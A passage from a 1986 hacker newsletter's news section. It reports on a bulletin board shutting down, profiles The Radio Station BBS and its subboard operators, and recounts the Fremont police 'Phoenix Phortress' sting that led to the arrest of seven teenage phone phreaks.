About this time Mentor had to use the bathroom, or so he told the police.  On

his way to his restroom he stopped in the kitchen and called The Protestor.

He kept it very brief with the one way conversation consisting of roughly these

words, 'Get all the illegal shit off your board now! I'll explain later, just

do it!'



Never the less, they called Protestor's Shack, only to discover that it was

busy.



Protestor's Shack went down on February 24, 1986.  At first it was thought that

Kleptic Wizard, a former Extasyy member, would take over the board in 314

(St.Louis, MO).  However, Protestor later decided that maybe it was time that

the board died.  He did add however that he may release his board program as a

ware sometime in the near future.  Most likely to be found on Kleptic Palace AE

first.  He also does plan to one day return to the pirate/phreak/hack world.



              The above information was provided by The Protestor

                         with some parts by The Mentor

_______________________________________________________________________________



The Radio Station BBS

---------------------

Where once stood the famous bulletin board "The Broadway Show", now stands The

Radio Station. When Broadway Hacker thought he was moving to Washington D.C. he

took down the Broadway Show and gave the line, 718/615-0580, to another who

would run this new bbs.  Since then however Broadway Hacker under the handle

of Program Director is once again running the board, but the remote sysop

Sigmund Fraud is now in total charge. He validates, he hires the subboard

sysops.

-------------------------------------------------------------------------------

Sysop: Program Director

Remote Sysop: Sigmund Fraud <-- Runs the board



Subboard Sysops:



General: Pirate Pete

Sports/Entertainment: White Lotus

Computer Discussion Forum: Lotus

Pirate/Trading: No one (The Cheetah was fired)

Anarchy: No one (The Merc was fired)

Chemical & Explosives: The Wild Phreak (Gray Mouser was fired)

Advanced Hacking and Phreaking: No one (Iron Soldier was fired)

-------------------------------------------------------------------------------

If you wish to become a subboard sysop, please leave mail or feedback to

Sigmund Fraud.



The Radio Station is where many LOD members and other old elites hang out.  Its

also among the first to receive new LOD G-Philes.



The Radio Station receives about 15-20 new posts a day.  Their general board is

among the most popular for real world controversial topics.



Program Director has put more time and effort into the debugging and upkeep of

his board than ANY other sysop I've ever known.  Some of the nice features on

his board are the message responses which can keep a particular subject going

without interfering with other related subjects.



The Radio Station is a strong supporter of Phrack Newsletter.  Give it a call!



                          718/615-0580 300/1200 Baud

_______________________________________________________________________________



Phoenix Phortress Stings 7                                      415 Under Siege

--------------------------                                      ---------------

On March 5, 1986, the following seven phreaks were arrested in what has come to

be known as the first computer crime "sting" operation.



Captain Hacker

Doctor Bob

Lasertech

The Adventurer

The Highwayman

The Punisher

The Warden



Many of them or other members of Phoenix Phortress belonged to these groups:



High Mountain Hackers

Kaos Inc.

Shadow Brotherhood

The Nihilist Order (Based in Fremont and Sunnyvale)



Of the seven, three were 15 years old; two were 16; one was 17; and one, 19.



Their charges include:



Several misdemeanors

Trafficking in stolen long distance service codes

Trafficking in stolen credit card numbers

Possession of stolen property

Possession of dangerous weapons (a martial arts weapon)

Charging mail-order merchandise to stolen credit card numbers

Selling stolen property

Charging calls internationally to telephone service numbers



         Conviction would mean forfeiture of their computer equipment.



Other phreak boards mentioned include:



Bank Vault (Mainly for credit card numbers and tips on credit card scams)

Phreakers Phortress (Mainly of course for phreak codes and other information)

-------------------------------------------------------------------------------

After serving search warrants early Wednesday morning on the seven Fremont

residences where the young men live with their parents, police confiscated at

least $12,000 worth of equipment such as computers, modems, monitors, floppy

disks, and manuals, which contained information ranging from how to make a

bomb, to the access codes for the Merrill Lynch and Dean Witter Financial

Services Firm's corporate computers.



The sysop of Phoenix Phortress was The Revenger, who was supposedly Wally

Richards, a 25 year-old Hayward man who "phreaked back east a little" in New

Jersey.  He took the phone number under the name of Al Davis.  However he was

really Sgt. Daniel Pasquale of the Fremont Police Department.



When he introduced his board to other computer users, he called it the "newest,

coolest, phreak board in town."  (Editor's note: The word for today is

ENTRAPMENT!).



Pasquale said he got the idea for the sting operation after a 16-year old

arrested last summer for possession of stolen property "rolled them over

(narced) He told us all about their operation."



Pasquale used a police department Apple //e computer and equipment, with access

codes and information provided by eight corporations, including Wells Fargo

Bank, Sprint, and MCI.



Pasquale said he received more than 2,500 calls from about 130 regular users

around the country.  The police started to make their first case three days

after the board went up.



"We had taken the unlisted phone number under the name Al Davis," Pasquale

said. "In six days, these kids had the name on the bulletin board.  I would

have needed a search warrant to get that information."



The arrests were made after five months of investigation by Dan Pasquale.

-------------------------------------------------------------------------------

Originally compiled by Maxwell's Demon of The Dange Gang, recompiled by Knight

Lightning.  This file contains parts of articles found in the following

newspapers:



** The Mercury News

** The Palo Alto Times-Tribune

** The Daily Review

_______________________________________________________________________________



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